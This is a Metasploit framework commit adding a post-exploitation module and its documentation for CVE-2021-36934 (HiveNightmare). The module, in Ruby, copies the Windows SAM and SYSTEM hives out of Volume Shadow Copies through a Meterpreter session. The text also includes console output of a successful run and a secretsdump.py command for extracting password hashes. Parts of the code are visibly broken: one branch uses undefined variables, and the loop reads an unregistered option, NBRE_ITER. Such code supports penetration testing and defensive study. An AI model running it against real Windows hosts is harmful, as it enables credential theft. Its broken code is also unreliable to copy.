Land #15462, [CVE-2021-36934] HiveNightmare
This commit is contained in:
commit
dba3db741a
|
@ -0,0 +1,69 @@
|
|||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
Due to mismanagement of SAM and SYSTEM hives in Windows 10, it is possible for an unprivileged
|
||||
user to read those files. But, as they are locked while Windows is running we are not able
|
||||
to read them directly. The trick is to take advantage of Volume Shadow Copy, which is generally
|
||||
enabled, to finally have a read access. Once SAM and SYSTEM files are successfully dumped and
|
||||
stored in `store_loot`, you can dump the hashes with some external scripts like secretsdump.py
|
||||
|
||||
### Installation
|
||||
|
||||
VSS is probably already enabled on your Windows 10, if you want to be sure you can follow the steps below:
|
||||
|
||||
* Open the control panel
|
||||
* Navigate to `System and Security > System`
|
||||
* Select `System Protection` from the column on the left
|
||||
* See in `Protection Settings` list if t drive protection is enabled
|
||||
* Optionally, select `Create` to "Create a resptore point right now..."
|
||||
* This is necessary if the module can not find an existing Shadow Copy file which can be the case if the Windows
|
||||
instance is brand new
|
||||
|
||||
Be aware that you will need Administrator privileges to follow those steps.
|
||||
You can read more [here](https://isc.sans.edu/diary/Summer+of+SAM+-+incorrect+permissions+on+Windows+1011+hives/27652).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use post/windows/gather/credentials/windows_sam_hivenightmare`
|
||||
3. `set ITERATIONS <number>` to specify the number of iterations on file index (default is 10)
|
||||
4. `set FILE_INDEX <number>` optionally if you want to target a specific file index instead of iterating on all indexes in a range
|
||||
5. `run` the module to exploit the vulnerability and potentially leak SAM and SYSTEM files
|
||||
|
||||
## Options
|
||||
|
||||
### ITERATIONS
|
||||
|
||||
Set ITERATIONS to specify the number of iterations on Shadow Copy file index.
|
||||
Windows is saving those files under the volume name `HarddiskVolumeShadowCopy<index>`.
|
||||
By default, this module is bruteforcing that `index` value by trying all values between 0 and 10, which you can change if needed.
|
||||
|
||||
### FILE_INDEX
|
||||
|
||||
Set FILE_INDEX if you want to target a specific index instead of the default behaviour which bruteforces all indexes in a given range.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module was successfully tested on Windows 10 20H2.
|
||||
See the following output:
|
||||
|
||||
```
|
||||
msf6 post(windows/gather/credentials/windows_sam_hivenightmare) > run
|
||||
|
||||
[+] SAM data found in HarddiskVolumeShadowCopy1!
|
||||
[+] Retrieving files of index 1 as they are the most recently modified...
|
||||
[+] SAM data saved at /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin
|
||||
[+] SYSTEM data saved at /home/smcintyre/.msf4/loot/20210729113926_default_192.168.159.15_windows.system_202176.bin
|
||||
[+] SAM and SYSTEM data were leaked!
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/credentials/windows_sam_hivenightmare) > file /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin
|
||||
[*] exec: file /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin
|
||||
|
||||
/home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin: MS Windows registry file, NT/2000 or above
|
||||
msf6 post(windows/gather/credentials/windows_sam_hivenightmare) >
|
||||
```
|
||||
|
||||
Then, you can dump the hashes from leaked files with `secretsdump.py` for instance:
|
||||
`python3 secretsdump.py -sam <SAM_FILE> -system <SYSTEM_FILE> LOCAL`
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows SAM secrets leak - HiveNightmare',
|
||||
'Description' => %q{
|
||||
Due to mismanagement of SAM and SYSTEM hives in Windows 10, it is possible for an unprivileged
|
||||
user to read those files. But, as they are locked while Windows is running we are not able
|
||||
to read them directly. The trick is to take advantage of Volume Shadow Copy, which is generally
|
||||
enabled, to finally have a read access. Once SAM and SYSTEM files are successfully dumped and
|
||||
stored in `store_loot`, you can dump the hashes with some external scripts like secretsdump.py
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Kevin Beaumont', # Discovery and original POC on www.github.com
|
||||
'romarroca', # POC on www.github.com
|
||||
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2021-36934'],
|
||||
['URL', 'https://github.com/GossiTheDog/HiveNightmare'],
|
||||
['URL', 'https://isc.sans.edu/diary/Summer+of+SAM+-+incorrect+permissions+on+Windows+1011+hives/27652'],
|
||||
['URL', 'https://github.com/romarroca/SeriousSam']
|
||||
],
|
||||
'DisclosureDate' => '2021-07-20',
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' => [ 'HiveNightmare', 'SeriousSAM' ],
|
||||
'Reliability' => [ ],
|
||||
'SideEffects' => [ ],
|
||||
'Stability' => [ CRASH_SAFE ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptInt.new('ITERATIONS', [true, 'Number of iterations on Shadow Copy file index', 10]),
|
||||
OptInt.new('FILE_INDEX', [false, 'Optional index parameter to retrieve a specific Shadow Copy file', nil])
|
||||
])
|
||||
end
|
||||
|
||||
def check_path(path)
|
||||
r = session.railgun.kernel32.CreateFileA(path, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_NORMAL', nil)
|
||||
if r['GetLastError'] == 0
|
||||
return r['return']
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def read_file(handle)
|
||||
buffer_size = 100000
|
||||
|
||||
res_reading = client.railgun.kernel32.ReadFile(handle, buffer_size, buffer_size, 4, nil)
|
||||
data = res_reading['lpBuffer'][0...res_reading['lpNumberOfBytesRead']]
|
||||
|
||||
while res_reading['lpNumberOfBytesRead'] == buffer_size
|
||||
res_reading = client.railgun.kernel32.ReadFile(handle, buffer_size, buffer_size, 4, nil)
|
||||
data += res_reading['lpBuffer'][0...res_reading['lpNumberOfBytesRead']]
|
||||
end
|
||||
client.railgun.kernel32.CloseHandle(handle)
|
||||
data
|
||||
end
|
||||
|
||||
def loot_files(sam_handle, index)
|
||||
path = store_loot(
|
||||
'windows.sam',
|
||||
'',
|
||||
session,
|
||||
read_file(sam_handle)
|
||||
)
|
||||
print_good("SAM data saved at #{path}")
|
||||
|
||||
handle = check_path("\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{index}\\Windows\\System32\\config\\SYSTEM")
|
||||
fail_with(Failure::UnexpectedReply, "Can't open SYSTEM file!") unless handle
|
||||
path = store_loot(
|
||||
'windows.system',
|
||||
'',
|
||||
session,
|
||||
read_file(handle)
|
||||
)
|
||||
print_good("SYSTEM data saved at #{path}")
|
||||
print_good('SAM and SYSTEM data were leaked!')
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['FILE_INDEX']
|
||||
fail_with(Failure::BadConfig, 'Please specify a non-negative file index!') unless datastore['FILE_INDEX'] >= 0
|
||||
|
||||
handle = check_path("\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{datastore['FILE_INDEX']}\\Windows\\System32\\config\\SAM")
|
||||
if handle
|
||||
print_good("SAM data found in HarddiskVolumeShadowCopy#{i}!")
|
||||
print_good("Retrieving files of index #{index_most_recent_shadow_copy}...")
|
||||
loot_files(handle, datastore['FILE_INDEX'])
|
||||
end
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Please specify an iteration number greater than 0!') unless datastore['ITERATIONS'] > 0
|
||||
|
||||
most_recent_time = nil
|
||||
most_recent_shadow_copy = nil
|
||||
index_most_recent_shadow_copy = -1
|
||||
|
||||
for i in 0..datastore['NBRE_ITER']
|
||||
handle = check_path("\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{i}\\Windows\\System32\\config\\SAM")
|
||||
|
||||
next unless handle
|
||||
|
||||
print_good("SAM data found in HarddiskVolumeShadowCopy#{i}!")
|
||||
tmp_time = client.railgun.kernel32.GetFileTime(handle, 4, 4, 4)['lpLastWriteTime']
|
||||
|
||||
next unless (index_most_recent_shadow_copy == -1) || (client.railgun.kernel32.CompareFileTime(most_recent_time, tmp_time)['return'] < 0)
|
||||
|
||||
if most_recent_shadow_copy
|
||||
client.railgun.kernel32.CloseHandle(most_recent_shadow_copy)
|
||||
end
|
||||
|
||||
most_recent_time = tmp_time
|
||||
most_recent_shadow_copy = handle
|
||||
index_most_recent_shadow_copy = i
|
||||
end
|
||||
|
||||
if index_most_recent_shadow_copy != -1
|
||||
print_good("Retrieving files of index #{index_most_recent_shadow_copy} as they are the most recently modified...")
|
||||
loot_files(most_recent_shadow_copy, index_most_recent_shadow_copy)
|
||||
else
|
||||
print_error('No Shadow Copy files were found! Maybe you can try again with a greater iteration number...')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue